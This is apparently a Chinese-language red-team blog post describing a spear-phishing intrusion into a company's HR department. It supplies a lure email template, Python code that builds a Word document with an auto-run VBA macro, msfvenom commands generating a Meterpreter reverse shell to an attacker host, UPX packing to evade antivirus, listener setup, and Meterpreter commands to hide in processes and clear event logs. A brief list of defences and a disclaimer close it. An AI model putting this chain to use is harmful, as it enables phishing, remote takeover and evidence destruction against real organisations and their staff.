0x01 窃取信任的艺术

在某次渗透测试中,我接手了一个中型企业的内网渗透任务。目标公司自认为拥有坚实的防御体系,各类设备和软件都打上了最新补丁。然而,再坚固的防线往往最容易被忽视的就是人心。于是,我决定从社工铓鱼攻击入手。

攻击目标:公司人事部门,他们经常处理各种文档和邮件。

策略设计:通过伪装成一个潜在客户,向人事部门发送一封钓鱼邮件,内含恶意文档载荷。一旦文档被打开,一个反向Shell将会连接到我们的C2服务器,进一步渗透公司内网。

黑客示意图

0x02 精心制作的陷阱

黑客示意图

通常,社工铓鱼攻击成败的关键在于能否让受害者相信这是一封正常的邮件。为了增加邮件的可信度,我投入了一些时间在OSINT(开源情报收集)上,找到了该公司的一个潜在客户名单。

编写邮件正文时,细节是最重要的。以下是我使用的邮件模板:

黑客示意图

<pre><code>Subject: 关于合作的初步建议

Hi [姓名],

我们是[某公司],最近对贵公司提供的服务非常感兴趣。附上了我们的一些初步想法和建议文件,希望能够达成合作。

请查收附件并给予反馈。

谢谢, [发送者姓名]</code></pre>

:这里替换了真实公司的名称和人名,还用了公司官网的配色和风格,进一步增强真实性。

恶意文档构造

为了创建一个能够逃避检测的恶意文档,我选择使用Python结合C语言生成一个嵌入了恶意Payload的Word文档。

<pre><code class="language-python">import os from win32com.client import Dispatch

def create_malicious_doc(payload_path): word = Dispatch(&#039;Word.Application&#039;) doc = word.Documents.Add()

我们在文档中插入一些看似正常的内容

doc.Content.Text = &#039;这是一个合作建议文档,详情请查看。&#039;

这里插入恶意VBA脚本

vba_code = &#039;&#039;&#039; Sub AutoOpen() Dim payload As String payload = Shell(&quot;cmd.exe /c &quot; &amp; Chr(34) &amp; payload_path &amp; Chr(34), vbHide) End Sub &#039;&#039;&#039;

将VBA代码插入到文档中

doc.VBProject.VBComponents(&#039;ThisDocument&#039;).CodeModule.AddFromString(vba_code)

保存Word文档

doc.SaveAs(os.path.abspath(&#039;Malicious.doc&#039;)) doc.Close() word.Quit() print(&#039;[*] 恶意文档已创建&#039;)

create_malicious_doc(&#039;C:\\path\\to\\your\\payload.exe&#039;)</code></pre>

:这段代码自动化生成了一个带有恶意VBA的Word文档。一旦受害者打开文档,VBA宏将执行指定的Payload。

0x03 隐蔽的Payload

构造Payload时,我选择了Metasploit中的msfvenom工具。为了绕过杀软检测,Payload必须经过特殊处理。以下是生成反向Shell并进行混淆的步骤:

<pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o payload.exe</code></pre>

生成完Payload后,我使用UPX进行加壳混淆:

<pre><code class="language-bash">upx --best payload.exe</code></pre>

:UPX是一种常见的可执行文件压缩工具,可以有效减少文件大小,并在一定程度上实现免杀。

0x04 捕获与操控

通过将恶意文档发送给目标,我只需等待受害者上钩。一旦文档被打开,VBA脚本便会执行,连接到我们的C2服务器,开启Meterpreter会话。

在C2服务器上,我设置了监听:

<pre><code class="language-bash">msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST attacker_ip set LPORT 4444 exploit</code></pre>

当Meterpreter会话建立后,我可以尝试提升权限、横向移动,甚至窃取敏感数据。

0x05 隐藏在暗处

在成功入侵内网后,保持隐蔽性是重中之重。我使用以下命令隐藏进程并清除痕迹:

<pre><code class="language-bash">meterpreter &gt; migrate [PID] meterpreter &gt; clearev</code></pre>

通过迁移进程至系统关键进程,我能确保不被轻易发现。同时,清除事件日志可以掩盖入侵痕迹。

0x06 防御反思

黑客示意图

在每次攻击结束后,我总会反思对方的防御机制何以失效。从这个案例中,我总结了一些关键防御措施:

  1. 用户培训:加强员工安全意识,避免随意开启不明附件。
  2. 邮件网关:部署邮件网关,过滤含有恶意内容的邮件。
  3. VBA宏禁用:配置Office安全策略,默认禁用VBA宏。
  4. 行为检测:引入行为分析,识别异常进程行为。

0x07 攻击者的自述

在这次任务中,社工铓鱼的成功离不开对细节的关注。从邮件模板、文档伪装到Payload混淆,每一步都需要精心策划。正如我在攻击中所思考的,最脆弱的地方往往在于人心。通过持续提升自己的技术和思维能力,才能在红队任务中游刃有余。

法律声明:本文仅限授权安全测试,供安全研究人员学习。不建议在未经授权情况下使用文章中所述技术。